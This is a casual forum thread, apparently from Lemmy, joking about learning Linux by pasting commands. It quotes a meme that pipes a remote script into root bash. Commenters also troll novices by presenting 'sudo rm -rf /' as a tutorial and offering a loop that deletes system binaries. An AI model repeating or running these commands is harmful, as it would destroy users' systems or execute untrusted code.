Nothing better than
curl https://totally-legit-installer.com/script | sudo bashNo hash, get cash!
I usually get an output saying my distro isn’t supported. So I have to download and edit the script then it can bypass checking os-release or something like that.
That’s probably how most of us started, but then you start getting familiar with things…
And that’s when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼
Oh yeah! I tried so many…hahaha
I’m still curious about stuff I didn’t try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.
Virtual machines
I just switched to NixOS from Endeavour maybe 1/2 days ago. It’s honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I’m a linux noob, though. You’ll probably have an easier time with it.
Edit: i do miss pacman, specially yay.
Professional level breaking.
That’s true. I’m no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.
While at the same time, others understand less and less how you work
I actually take the time to type everything out, but I still have no idea what I’m doing.
You know, my students do this. It’s freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄
Haha, the club.
Not just Linux, I do this all the time when ‘writing’ R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.
Butt that’s how I learnt the scripting!
Years ago I started out like this, then gradually started reading and understanding the stuff.
This is the way.
We’re still using this meme right? /2%er
I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.
I guess at least I now understand why everyone just does that for that problem.
I am not alone.
We are not alone.
For anyone who needs it. Try out:
curl cheat.sh/OP bout to copy/paste this without knowing what it does lol.
what does it do?
Lemme know if you find out please, I forgot the name of the reminder bot on Lemmy haha
The curl command pulls data from a URL into your terminal. So you can actually go to cheat.sh in a web browser to see what the output would be (also wouldn’t necessarily recommend doing this vs. blindly pasting commands, but in this case, perfectly safe!). It looks like a little Unix command helper tool.
Why wouldn’t you recommend this? As a novice, it seems to me like a safe way to check out what you’re actually pulling in through curl
Do it a few times and it gives your computer massive biceps
I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com
All hail the arch Linux wiki!
I don’t think that’s a terrible way of getting started. Your subconscious will do the rest at some point, unless you’re really not interested at all (which isn’t a problem either). :)
The real learning happens when you copy and paste something you shouldn’t and bork your system. That’s basically how I started.
Me learning anything ever. Troubleshooting is the real learning phase.
No offence, but I hope you don’t hold a high ranking government position, what with catastrophic error being the only way you learn 😁
I hope I never hold a high ranking government position too
ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.
I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /Type your password when prompted and you’re golden. No more linux issues ever again.
Evil boy
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
It optomizes your computer too? Woa
Well, technically it teaches you how to optimize your system.
That said, the optimizations are really effective.
Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like
clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcablywhile read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <Lol, I know what you mean.
Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
Does Linux still have three different and incompatible paste buffers?
You’ll learn when you do more of those
Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste… so many memories
